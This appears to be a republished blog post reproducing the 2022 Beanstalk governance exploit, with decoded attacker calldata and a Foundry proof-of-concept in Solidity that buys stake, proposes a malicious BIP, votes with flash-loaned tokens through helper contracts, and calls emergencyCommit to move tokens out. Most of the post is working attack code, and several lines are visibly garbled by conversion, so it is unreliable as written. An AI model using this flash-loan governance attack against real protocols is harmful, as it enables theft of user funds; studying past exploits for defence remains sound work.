BeansProtocol

2022-05-25 16:02:25 浏览数 (1)

本文作者:bixia1994[1]

Ref:

Beanstalk[2] Hack

https://etherscan.io/tx/0x68cdec0ac76454c3b0f7af0b8a3895db00adf6daaf3b50a99716858c4fa54c6f

https://versatile.blocksecteam.com/tx/eth/0x68cdec0ac76454c3b0f7af0b8a3895db00adf6daaf3b50a99716858c4fa54c6f

https://twitter.com/BlockSecTeam/status/1515732238612430849

Attack:

  • propose((address,uint8,bytes4[])[],address,bytes,uint8)
代码语言:javascript复制
[0x00]: 0000000000000000000000000000000000000000000000000000000000000080//loc
[0x20]: 000000000000000000000000e5ecf73603d98a0128f05ed30506ac7a663dbb69//address
[0x40]:  00000000000000000000000000000000000000000000000000000000000000a0//bytes calldata
[0x60]:  0000000000000000000000000000000000000000000000000000000000000003//uint8
[0x80]:  0000000000000000000000000000000000000000000000000000000000000000//address
[0xa0]:  0000000000000000000000000000000000000000000000000000000000000004//uint8
[0xc0]:  e1c7392a00000000000000000000000000000000000000000000000000000000//bytes4 - init()
代码语言:javascript复制
enum FacetCutAction {Add, Replace, Remove}
    struct FacetCut {
        address facetAddress; //address(0)
        FacetCutAction action; //uint
        bytes4[] functionSelectors;
    }
    function propose(
        IDiamondCut.FacetCut[] calldata _diamondCut,
        address _init,
        bytes calldata _calldata,
        uint8 _pauseOrUnpause
    )
        external
    {
        //s.a[account].roots > 0;
        require(canPropose(msg.sender), "Governance: Not enough Stalk.");
        //ok for first propose
        require(notTooProposed(msg.sender), "Governance: Too many active BIPs.");
        require(
            _init != address(0) || _diamondCut.length > 0 || _pauseOrUnpause > 0,
            "Governance: Proposition is empty."
        );

        uint32 bipId = createBip(
            _diamondCut,
            _init,
            _calldata,
            _pauseOrUnpause,
            C.getGovernancePeriod(),
            msg.sender
        );

        s.a[msg.sender].proposedUntil = startFor(bipId).add(periodFor(bipId));
        emit Proposal(msg.sender, bipId, season(), C.getGovernancePeriod());

        _vote(msg.sender, bipId);
    }

Analysis:

POC

代码语言:javascript复制
pragma solidity 0.8.12;

import "ds-test/test.sol";
import "forge-std/stdlib.sol";
import "forge-std/Vm.sol";

contract BeansAddr is DSTest, stdCheats {
    address public constant hacker = 0x1c5dCdd006EA78a7E4783f9e6021C32935a10fb4;
    //prettier-ignore
    address public constant hackerContract = 0x1c5dCdd006EA78a7E4783f9e6021C32935a10fb4;
    //prettier-ignore
    address public constant BeansTalk = 0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5;
    //prettier-ignore
    address public constant BeansTalkImpl = 0xf480eE81a54E21Be47aa02D0F9E29985Bc7667c4;
    address public constant router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address public constant beans = 0xDC59ac4FeFa32293A95889Dc396682858d52e5Db;
    address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address public constant pair = 0x87898263B6C5BABe34b4ec53F22d98430b91e371;
    //prettier-ignore
    address public constant pair2 = 0xEd279fDD11cA84bEef15AF5D39BB4d4bEE23F0cA; //LUSD-OHM

    address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    address public constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    address public constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;

    address public constant AAVE = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
    //prettier-ignore
    address public constant Curve_Bean_LUSD = 0xD652c40fBb3f06d6B58Cb9aa9CFF063eE63d465D;
    //prettier-ignore
    address public constant Curve_Bean_3Crv = 0x3a70DfA7d2262988064A2D051dd47521E43c9BdD;
    //prettier-ignore
    address public constant Curve_LUSD_3Crv = 0xEd279fDD11cA84bEef15AF5D39BB4d4bEE23F0cA;
}

interface ERC20Like {
    function balanceOf(address owner) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface BeansTalkLike {
    struct FacetCut {
        address facetAddress;
        uint8 action;
        bytes4[] functionSelectors;
    }
    struct Claim {
        uint32[] beanWithdrawals;
        uint32[] lpWithdrawals;
        uint256[] plots;
        bool claimEth;
        bool convertLP;
        uint256 minBeanAmount;
        uint256 minEthAmount;
        bool toWallet;
    }

    function deposit(address token, uint256 amount) external;

    function activeBips() external view returns (uint32[] memory);

    function depositBeans(uint256 amount) external;

    function season() external view returns (uint32);

    function withdrawBeans(uint32[] calldata crates, uint256[] calldata amounts)
        external;

    function claimAndWithdrawBeans(
        uint32[] calldata crates,
        uint256[] calldata amounts,
        Claim calldata claim
    ) external;

    function propose(
        FacetCut[] calldata _diamondCut,
        address _init,
        bytes calldata _calldata,
        uint8 _pauseOrUnpause
    ) external;

    function vote(uint32 bip) external;

    function emergencyCommit(uint32 bip) external;

    function balanceOfRoots(address account) external view returns (uint256);
}

interface PairLike {
    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function getReserves()
        external
        view
        returns (
            uint112 _reserve0,
            uint112 _reserve1,
            uint32 _blockTimestampLast
        );

    function token0() external view returns (address);
}

interface RouterLike {
    function factory() external view returns (address);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] memory path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);
}

//forge test --match-contract BeansHack --fork-url $ETH_RPC_URL --fork-block-number 14595905 -vvvv
contract HackerHelper is BeansAddr {
    address public immutable owner;

    constructor() {
        owner = msg.sender;
    }

    function init() public {
        emit log_named_address("msgSender", msg.sender);
        emit log_named_address("address this", address(this));
        emit log_named_address("beans", beans);
        // emit log_named_uint("beans balance", ERC20Like(beans).balanceOf(address(this)));
        ERC20Like(beans).transfer(
            address(owner),
            ERC20Like(beans).balanceOf(address(this))
        );
    }
}

///it is used to vote for the pid
///first vote for bip, then transfer back all the tokens.
///1. vote
///2. transfer
///3. selfdestruct
contract HackerVoter is BeansAddr {
    address public immutable token;

    constructor(address _token) {
        token = _token;
        ERC20Like(token).approve(BeansTalk, type(uint256).max);
    }

    function start(uint32 bip, address _token) public {
        uint256 amount = ERC20Like(_token).balanceOf(address(this));
        BeansTalkLike(BeansTalk).depositBeans(amount);
        vote(bip);
    }

    function vote(uint32 bip) public {
        emit log_named_uint("voted for bip", bip);
        BeansTalkLike(BeansTalk).vote(bip);
    }
}

//propose, vote, execute
contract Hack is BeansAddr {
    HackerHelper public helper;
    uint32 public bip;
    uint256 public amountBorrowed;

    constructor() public {
        helper = new HackerHelper();
        ERC20Like(beans).approve(router, type(uint256).max);
        ERC20Like(beans).approve(BeansTalk, type(uint256).max);
    }

    function start() public payable {
        ///1. swap eth for beans to propose
        address[] memory path = new address[](2 "] memory path = new address[");
        path[0] = address(WETH);
        path[1] = address(beans);
        RouterLike(router).swapExactETHForTokens{value: msg.value}(
            1,
            path,
            address(this),
            type(uint256).max
        );

        res("after swap eth for beans");

        ///1.2 depositBeans
        uint256 amount = ERC20Like(beans).balanceOf(address(this));
        BeansTalkLike(BeansTalk).depositBeans(amount);

        res("after depositBeans");

        ///2. propose
        BeansTalkLike.FacetCut[]
            memory _diamondCut = new BeansTalkLike.FacetCut[](0 "" "");

        BeansTalkLike(BeansTalk).propose(
            _diamondCut,
            address(helper),
            abi.encodeWithSelector(HackerHelper.init.selector),
            1 //unpause??? not sure
        );
        uint32[] memory bips = BeansTalkLike(BeansTalk).activeBips();
        bip = bips[bips.length - 1];

        res("after propose");

        ///2.1 withdrawBeans
        uint32[] memory crates = new uint32[](1 "] memory crates = new uint32[");
        crates[0] = BeansTalkLike(BeansTalk).season();
        uint256[] memory amounts = new uint256[](1 "] memory amounts = new uint256[");
        amounts[0] = amount;
        // BeansTalkLike(BeansTalk).withdrawBeans(crates, amounts);
        res("after withdrawBeans");
    }

    function uniswapV2Call(
        address sender,
        uint256 amount0,
        uint256 amount1,
        bytes calldata data
    ) external {
        uint256 amount = amount0 == 0 ? amount1 : amount0;
        for (uint256 i = 0; i < 4; i  ) {
            HackerVoter voter = new HackerVoter(beans);
            ERC20Like(beans).transfer(address(voter), amount);

            voter.start(bip, address(beans));
        }
    }

    function repay() public {
        uint256 amount = (amountBorrowed * 100301) / 100000;
        ERC20Like(beans).transfer(pair, amount);
    }

    function execute() public {
        ///3. use flashloan to vote
        (uint256 r0, uint256 r1, ) = PairLike(pair).getReserves();
        (uint256 amount0Out, uint256 amount1Out) = PairLike(pair).token0() ==
            WETH
            ? (uint256(0), r1 - 1)
            : (r0 - 1, uint256(0));
        amountBorrowed = amount0Out == 0 ? amount1Out : amount0Out;
        PairLike(pair).swap(amount0Out, amount1Out, address(this), "0x01");

        BeansTalkLike(BeansTalk).emergencyCommit(bip);

        repay();
    }

    function executePoc() public {
        ///just do a POC, tip lots of beans token, and deposit into it. and then vote.
        ///no withdraw
        uint256 amount = ERC20Like(beans).balanceOf(address(this));
        // BeansTalkLike(BeansTalk).depositBeans(amount);
        HackerVoter voter = new HackerVoter(beans);
        ERC20Like(beans).transfer(address(voter), amount);
        voter.start(bip, address(beans));
        BeansTalkLike(BeansTalk).emergencyCommit(bip);
    }

    receive() external payable {}

    function res(string memory str) public {
        emit log_named_string("current stage ==============>", str);
        emit log_named_uint(
            "beans balance",
            ERC20Like(beans).balanceOf(address(this))
        );
        emit log_named_uint(
            "beans balanceOfRoots",
            BeansTalkLike(BeansTalk).balanceOfRoots(address(this))
        );
        emit log_named_uint(
            "season",
            uint256(BeansTalkLike(BeansTalk).season())
        );
        emit log_named_uint("bip", uint256(bip));
        emit log_named_uint("beans balance of Uni pool", ERC20Like(beans).balanceOf(
            address(pair)
        ));
        emit log_named_uint("beans balance of 3Cur pool", ERC20Like(beans).balanceOf(
            address(Curve_Bean_3Crv)
        ));
        emit log_named_uint("beans balance of LUSD pool", ERC20Like(beans).balanceOf(
            address(Curve_Bean_LUSD)
        ));
    }
}

contract BeansHack is BeansAddr {
    Vm public vm = Vm(HEVM_ADDRESS);
    Hack public hack;

    function setUp() public {
        vm.label(hacker, "hacker");
        vm.label(BeansTalk, "BeansTalk");
        vm.label(BeansTalkImpl, "BeansTalkImpl");

        hack = new Hack();
    }

    function _test_Reply() public {
        vm.startPrank(hacker);
        address(BeansTalk).call(
            hex"956afd680000000000000000000000000000000000000000000000000000000000000080000000000000000000000000e5ecf73603d98a0128f05ed30506ac7a663dbb6900000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004e1c7392a00000000000000000000000000000000000000000000000000000000"
        );
    }

    function test_start() public {
        hack.start{value: 70 ether}();
        vm.warp(block.timestamp   1 days);

        tip(beans, address(hack), (29127874302270 30432240612182 306421696029)*8);
        emit log_named_uint(
            "hack beans balance",
            ERC20Like(beans).balanceOf(address(hack))
        );

        hack.executePoc();
    }
    function _test_Params() public {
        hack.res("before propose");
    }
}

参考资料

[1]

bixia1994: https://learnblockchain.cn/people/3295

[2]

Beanstalk: https://learnblockchain.cn/article/3909

0 人点赞